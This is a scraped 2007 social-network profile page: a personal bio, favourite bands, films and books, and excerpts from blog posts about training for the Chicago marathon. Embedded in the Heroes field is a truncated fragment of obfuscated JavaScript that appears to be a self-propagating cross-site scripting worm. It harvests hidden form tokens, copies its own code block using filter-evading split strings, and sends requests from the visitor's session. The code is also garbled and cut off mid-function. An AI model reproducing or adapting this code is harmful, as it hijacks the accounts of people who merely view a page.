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Ryan

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About Me

I'm a hopeless wreck of a fool living in the city and suburbs, trying to make sense out of this life. When I'm not doing the unattainable, I am enjoying the company of my family and friends who seem to have an unusual knack for keeping me afloat when I am sinking. I'm the type of person who accepts failure, but never defeat. I'm that person that you've let down before, but still has faith in you. I've been through a lot...but if you're my friend then I'll go through it again and again for you.

My Interests

1. Procuring a canine friend (thinking black lab) 2. Laying on a sandy beach with a drink in hand (think carribean) 3. Getting some use out of my piano (yeah...) 4. Running 6 marathons this year (I better get started) 5. Ballroom dancing (Salsa anyone?) 6. many many more

I'd like to meet:

Her.

Music:

Weezer, Oasis, Josh Ritter, Jason Mraz, Moby, Zero Seven, U2, The Counting Crows, Natalie Merchant, Jewel, Norah Jones, The Cranberries, Smashing Pumpkins, The Wallflowers, The Gin Blossoms, The Killers, The Fray, Fat Boy Slim, James Blunt, The Beatles, Van Morrison, Ian Pooley, The Arctic Monkeys, Nirvana, New Radicals, The Spin Doctors, The Cowboy Junkies, Paolo Nutini, Maroon 5

Movies:

Ground Hog's Day, Eternal Sunshine of the Spotless Mind, Rounders, When Harry met Sally, Good Will Hunting, You've got Mail, the Matrix, Empire of the Sun, Contact, Sideways, Happy Accidents, Ferris Bueler's Day Off, The Killing Fields

Television:

I'm always up for a good sporting event (especially if it is Chicago sports). I also watch a few shows on a regular basis: The Office, Heroes, American Idol (I know, I know), The Late Show, Take Home Chef

Books:

The Glass Castle, The Devil in the White City, Life of Pi, The Kite Runner

Heroes:

Ghandi, Martin Luther King, Leonardo Davinci, my parents. Everyday I am finding new heroes and discovering ones that were there all along.0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('

My Blog

Marathon Redeux

So not sure if many of you know, but I have signed up to do the Philadelphia marathon this November 18th. It also just happens to be my birthday weekend. I am hoping for a much cooler run after the ...
Posted by Ryan on Tue, 23 Oct 2007 09:21:00 PST

The Chicago Marathon, 2007

Well people, here it is.  Today I ran the 2007 Chicago Marathon.  This was quite a memorable experience.  I want to first of all thank all of those people who have supported me througho...
Posted by Ryan on Mon, 08 Oct 2007 06:41:00 PST

Gotta fled

See you at the finish line!
Posted by Ryan on Sun, 07 Oct 2007 04:24:00 PST

Restless soul

It's early.  I have nowhere to be.  I went to bed late.  I am up early.  I am restless.  I dreamt of running.  No need for dreams anymore.  Tomorrow I will run. ...
Posted by Ryan on Sat, 06 Oct 2007 04:10:00 PST

I’m scared... =/

So the marathon is October 7th, a little over a week away.  I've been getting nervous about it already.  Many of you know that I have been training for about a year, for my first marathon.&n...
Posted by Ryan on Fri, 28 Sep 2007 09:28:00 PST

Possibilities

They are truly, endless. These things we call "possibilities" are all around us. They are the motivation behind many and the culprit of dreams for more. I hope mine are endless, yet I also hope tha...
Posted by Ryan on Fri, 28 Sep 2007 05:40:00 PST

bloggertime

This mornings run was truly exhilirating! The weather was simply perfect. The lake was simply delicious. My endurance was seemingly endless. I wish I could bottle up the sensations I get on these ...
Posted by Ryan on Sat, 08 Sep 2007 03:28:00 PST

Get them while they're hot

So in a few short weeks, summer will most certainly come to an end. Many people equate the coming of Labor Day weekend as a date which marks this ending. On this mornings run past the Shedd, I decid...
Posted by Ryan on Wed, 29 Aug 2007 03:39:00 PST

A nod

So I am running on the lakefront this past Sunday (it was fucking awesome out, if any of you did not get the chance to be outside) on my way to an easy paced 20-miler, when I notice that I am passed u...
Posted by Ryan on Tue, 17 Jul 2007 08:54:00 PST

New 7-miler PR!!!

55:32 is the new personal record for my 7-miler now!  That is a 7:56min/mile pace and I definitely feel I can get that waaaayyy down!  With the Bix-7 just weeks away, I think my goal of unde...
Posted by Ryan on Wed, 11 Jul 2007 08:57:00 PST